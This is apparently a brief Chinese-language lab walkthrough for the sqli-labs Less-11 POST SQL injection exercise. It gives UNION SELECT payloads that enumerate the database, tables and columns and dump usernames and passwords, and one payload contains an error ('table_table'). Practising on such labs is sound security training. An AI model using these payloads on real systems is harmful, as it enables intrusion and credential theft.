目录
less-11(POST注入)
1.send to Repeater

2.单引号报错

3. 查库名
aadmin' union select user(),database()--

4.查表名
aadmin' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--

5.查段名
aadmin' union select 1,group_concat(column_name) from information_schema.columns where table_table='users'--

6.查数据
aadmin' union select 1,group_concat(username,':',password) from users --

7.用查到的数据Dumb登录
